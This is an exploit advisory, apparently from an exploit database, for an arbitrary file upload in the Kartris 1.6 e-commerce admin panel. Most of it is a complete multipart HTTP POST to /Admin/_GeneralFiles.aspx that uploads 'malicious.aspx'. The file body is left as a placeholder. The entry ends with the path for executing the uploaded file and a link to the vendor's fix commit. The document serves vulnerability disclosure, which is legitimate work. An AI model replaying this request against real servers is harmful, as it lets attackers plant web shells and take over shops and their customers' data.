Kartris 1.6 Arbitrary File Upload

`# Exploit Title: Kartris 1.6 - Arbitrary File Upload  
# Dork: N/A  
# Date: 2020-05-08  
# Exploit Author: Nhat Ha - Sun CSR  
# Vendor Homepage: https://www.cactusoft.com/  
# Software Link: https://www.kartris.com/  
# Version: 1.6  
# Category: Webapps  
# Tested on: WiN10_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC: https://localhost/Admin/_GeneralFiles.aspx  
#  
POST /Admin/_GeneralFiles.aspx HTTP/1.1  
Host: 192.168.1.1  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101  
Firefox/76.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data;  
boundary=---------------------------9604487443072642880454762058  
Content-Length: 18484  
Origin: 192.168.1.1  
Connection: close  
Referer: https://192.168.1.1/Admin/_GeneralFiles.aspx  
Cookie: __cfduid=d1e56d596943226c869a1186e06b8d8661588757096;  
ASP.NET_SessionId=abbnm4jh04wmdbl2gukr5t5w;  
KartrisBasket870c8=s=7i7lpj21819; KartrisBackAuth870c8=xxxxxxxxxxxxx  
Upgrade-Insecure-Requests: 1  
  
-----------------------------9604487443072642880454762058  
Content-Disposition: form-data; name="scrManager_HiddenField"  
  
;;AjaxControlToolkit, Version=4.1.7.123, Culture=neutral,  
PublicKeyToken=28f01b0e84b6d53e:en-GB:57898466-f347-4e5c-9527-24f201596811:475a4ef5:5546a2b:d2e10b12:effe2a26:37e2e5c9:1d3ed089:751cdd15:dfad98a5:497ef277:a43b07eb:3cf12cf1;  
-----------------------------9604487443072642880454762058  
Content-Disposition: form-data;  
name="_UC_CategoryMenu_tvwCategory_ExpandState"  
  
cccccccccc  
-----------------------------9604487443072642880454762058  
Content-Disposition: form-data;  
name="_UC_CategoryMenu_tvwCategory_SelectedNode"  
  
  
-----------------------------9604487443072642880454762058  
Content-Disposition: form-data;  
name="_UC_CategoryMenu_tvwCategory_PopulateLog"  
  
  
-----------------------------9604487443072642880454762058  
Content-Disposition: form-data; name="ctl00$scrManager"  
  
  
-----------------------------9604487443072642880454762058  
Content-Disposition: form-data; name="ctl00$_UC_AdminSearch$txtSearch"  
  
  
-----------------------------9604487443072642880454762058  
Content-Disposition: form-data; name="ctl00$phdMain$hidFileNameToDelete"  
  
  
-----------------------------9604487443072642880454762058  
Content-Disposition: form-data; name="ctl00$phdMain$filUploader";  
filename="malicious.aspx"  
Content-Type: text/plain  
  
[Content Malicious File Here ! ]  
  
-----------------------------9604487443072642880454762058  
Content-Disposition: form-data; name="ctl00$splMainPage$hdnWidth"  
  
  
-----------------------------9604487443072642880454762058  
Content-Disposition: form-data; name="ctl00$splMainPage$hdnMinWidth"  
  
170px  
-----------------------------9604487443072642880454762058  
Content-Disposition: form-data; name="ctl00$splMainPage$hdnMaxWidth"  
  
500px  
-----------------------------9604487443072642880454762058  
Content-Disposition: form-data; name="__EVENTTARGET"  
  
ctl00$phdMain$lnkUpload  
-----------------------------9604487443072642880454762058  
Content-Disposition: form-data; name="__EVENTARGUMENT"  
  
  
-----------------------------9604487443072642880454762058  
Content-Disposition: form-data; name="__VIEWSTATE"  
  
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-----------------------------9604487443072642880454762058  
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"  
  
54DD7DF0  
-----------------------------9604487443072642880454762058  
Content-Disposition: form-data; name="__VIEWSTATEENCRYPTED"  
  
  
-----------------------------9604487443072642880454762058--  
  
  
# Access malicious file following the link:  
https://localhost/uploads/General/malicious.aspx  
# How to fix: Update the latest version  
# Commit fix:  
https://github.com/cactusoft/kartris/commit/e9450dc1f90aa6167f1db1a6f137ea07cacb2a5c  
`